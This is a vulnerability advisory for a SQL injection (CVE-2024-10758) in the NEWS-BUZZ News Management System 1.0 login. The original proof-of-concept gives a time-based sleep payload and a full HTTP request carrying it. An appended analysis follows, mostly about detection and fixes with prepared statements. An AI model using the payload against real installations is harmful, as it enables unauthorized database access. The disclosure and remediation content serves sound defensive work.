NEWS-BUZZ News Management System 1.0 - SQL Injection

Exploit Author: egsec Analysis Author: www.bubbleslearn.ir Category: WebApps Language: PHP Published Date: 2025-04-11
# Exploit Title: NEWS-BUZZ News Management System 1.0 - SQL Injection
# Google Dork: N/A
# Exploit Author: egsec
# Date: 2024-11-03
# Vendor Homepage: https://code-projects.org
# Software Link: https://code-projects.org/content-management-system-in-php-with-source-code-2/
# Version: 1.0
# Tested on: Windows 11 Pro
# Impact:  The manipulation of the argument user_name with an unknown input leads to a sql injection vulnerability
# CVE : CVE-2024-10758

## Vulnerability Description:

There is a SQL injection vulnerability in the login part of the index.php file. It allows an attacker to manipulate the SQL query and potentially perform unauthorized actions on the database.

## Vulnerable code section:

In the source code, you can find vulnerable code in the NEWS-BUZZ/login.php file:

<?php
...
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query) or die(mysqli_error($conn));
...
?>

In this line, the $username variable is directly embedded into the SQL query without proper handling. This allows an attacker to inject malicious SQL code.

## Proof of Concept (PoC):

1.Location: http://localhost/NEWS-BUZZ/index.php

2.Time-Based SQL Injection Payload: ' OR sleep(10)#


3.PoC request:

POST /NEWS-BUZZ/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Origin: http://localhost
Connection: close
Referer: http://localhost/NEWS-BUZZ/index.php
Cookie: PHPSESSID=456n0gcbd6d09ecem39lrh3nu9
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i

user_name=admin%27+or+sleep%2810%29%23&user_password=adminpass&login=

4.PoC response:

The response will come called time by using sleep() function.


NEWS-BUZZ News Management System 1.0 — SQL Injection (CVE-2024-10758)

This article explains a SQL injection vulnerability found in the NEWS-BUZZ News Management System 1.0 login component. It covers the root cause, a safe proof-of-concept (for controlled testing only), impact, detection techniques, and concrete remediation steps including secure PHP code examples and deployment best practices.

Item Details
CVE CVE-2024-10758
Product NEWS-BUZZ News Management System 1.0
Component login.php (index.php login path)
Root cause Unsanitized user input interpolated into SQL queries
Impact Unauthorized data access, authentication bypass, data modification, blind/time-based exfiltration
Tested on Windows 11 Pro

Vulnerability description

The login implementation assembles an SQL statement by directly embedding the username string into the query. When user-controlled input is concatenated into SQL without parameterization, attackers can inject SQL fragments that alter query logic, invoke database functions (for example, sleep()), or extract data.

<?php
// vulnerable snippet (found in NEWS-BUZZ/login.php)
$query = "SELECT * FROM users WHERE username = '$username'";
$result = mysqli_query($conn, $query) or die(mysqli_error($conn));
?>

Explanation: The code places the raw value of $username inside the SQL statement. If $username contains SQL metacharacters (quotes, boolean operators, comment markers), it can change the executed SQL. The example above does not use prepared statements or parameter binding, which is the core issue.

Proof of Concept (safe, for authorized testing only)

Time-based SQL injection can be used to confirm the vulnerability without revealing data: by injecting a sleep() call, the response time changes if the injected fragment is executed. Only run tests on systems you own or have explicit permission to test.

Example payload (URL-encoded in POST body):
user_name=admin' OR sleep(10) # &user_password=anything

Explanation: The payload appends an OR sleep(10) condition and a SQL comment marker (#). If the login query is vulnerable and the injected fragment is evaluated, the database will pause for 10 seconds, observable in the HTTP response time. This proves the injection exists without extracting rows. Do not use this against third-party systems without authorization.

Impact and risks

  • Authentication bypass: crafted payloads can make the WHERE clause always true or return attacker-controlled rows.
  • Data exfiltration: UNION, error-based, time-based techniques can reveal sensitive data (usernames, password hashes, emails).
  • Data manipulation: INSERT/UPDATE/DELETE can be executed if the application grants the DB account write privileges.
  • Denial of service: time-based or heavy queries can degrade database availability.
  • Privilege escalation: exposed credentials or configuration may enable broader compromise.

Detection and testing techniques

  • Static code review: search for string concatenation into SQL (e.g., "...WHERE ... = '$var'").
  • Dynamic testing: use safe, non-destructive checks such as boolean or time-based payloads in a lab environment.
  • Automated scanning: run a DAST scanner against the login page (in authorized test environment).
  • SAST rules: flag unparameterized queries for further inspection.
  • Log analysis: unusual long queries or repeated failed logins may indicate attempts.

Secure remediation (recommended fixes)

Primary mitigation is to use parameterized queries (prepared statements) and to never assemble SQL with raw user input. For authentication, store passwords using a secure one-way hashing function (password_hash in PHP) and verify with password_verify. Also apply least-privilege to the DB account, implement account lockout and rate limiting, and employ input validation as defense-in-depth.

Fixed example using mysqli prepared statements

<?php
// Example secure login flow using mysqli prepared statements.
// Assumptions: $conn is an existing mysqli connection; $_POST['user_name'] and $_POST['user_password'] exist.

$username = $_POST['user_name'] ?? '';
$password = $_POST['user_password'] ?? '';

// Prepare statement with parameter placeholder
$stmt = $conn->prepare('SELECT id, username, password_hash, user_role FROM users WHERE username = ? LIMIT 1');
if (! $stmt) {
    // handle prepare error (log safely, do not leak DB errors to users)
    error_log('Stmt prepare failed: ' . $conn->error);
    // show generic error to user
    die('Internal error');
}

$stmt->bind_param('s', $username);
$stmt->execute();
$result = $stmt->get_result();

if ($row = $result->fetch_assoc()) {
    // Verify password using password_verify against stored hash
    if (password_verify($password, $row['password_hash'])) {
        // Authentication success: set session, regenerate id, etc.
        session_start();
        session_regenerate_id(true);
        $_SESSION['user_id'] = $row['id'];
        $_SESSION['username'] = $row['username'];
        // redirect to dashboard or return success
    } else {
        // Invalid credentials
    }
} else {
    // No such user
}

$stmt->close();
?>

Explanation: This code uses a prepared statement with a single parameter placeholder (?) and bind_param to safely pass the username to the database. The database treats the bound value purely as data, preventing injection. Passwords are verified with password_verify against a stored password_hash (see next section on storing passwords).

Storing passwords securely

<?php
// When creating users or changing passwords, use password_hash:
$plainPassword = 'S3cur3P@ss';
$hash = password_hash($plainPassword, PASSWORD_DEFAULT); // bcrypt/argon2 depending on PHP version
// Store $hash in users.password_hash column
?>

Explanation: password_hash produces a salted, adaptive one-way hash. Use password_verify() during login. Never store plaintext or reversible encryption for passwords.

Alternative: PDO example

<?php
// PDO prepared statement example
$pdo = new PDO('mysql:host=localhost;dbname=newsbuzz', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);

$stmt = $pdo->prepare('SELECT id, username, password_hash FROM users WHERE username = :username LIMIT 1');
$stmt->execute([':username' => $username]);
$row = $stmt->fetch(PDO::FETCH_ASSOC);
if ($row && password_verify($password, $row['password_hash'])) {
    // success
}
?>

Explanation: PDO prepared statements with named parameters are an equally secure option. Use exceptions and proper error handling to avoid leaking details to attackers.

Additional hardening measures

  • Database permissions: give the web app DB user only the permissions it needs (SELECT on authentication tables; avoid general-purpose create/drop if not required).
  • Input validation: apply basic sanity checks (length, character classes) to reduce accidental misuse; do not treat this as a substitute for parameterization.
  • Rate limiting & account lockout: block brute-force attempts and slow down automated testing attempts.
  • Prepared statements for all queries: remove ad-hoc string concatenation throughout the codebase.
  • Use WAF/IDS as defense-in-depth: can block common SQLi patterns, but do not rely on it as the primary fix.
  • Logging and monitoring: record suspicious requests and unusual database query times for investigation.

How to verify a fix

  • Re-run safe detection tests in a staging environment: time-based payloads should no longer cause query-induced delays.
  • Check codebase for any remaining string-concatenated SQL queries (grep for patterns like "WHERE .*'\$").
  • Perform code review and run SAST tools to ensure prepared statements are used consistently.
  • Run authentication flows and confirm password hashing & verification are correct and session handling is secure (regenerate session IDs after login).

Responsible testing and disclosure

Only test exploits, payloads, and scanners on systems you own or where you have explicit authorization. If you discover vulnerabilities in third-party systems, follow responsible disclosure: contact the vendor, provide clear reproduction steps and remediation guidance, and coordinate any public disclosure after a patch has been released.

Summary

NEWS-BUZZ 1.0 contained a classic SQL injection vulnerability in its login code caused by concatenating user input into SQL. The long-term fix is to adopt parameterized queries and secure password handling across the application, combined with operational controls such as least privilege, rate-limiting, and monitoring. Applying the code examples shown above will mitigate the issue and significantly reduce the attack surface.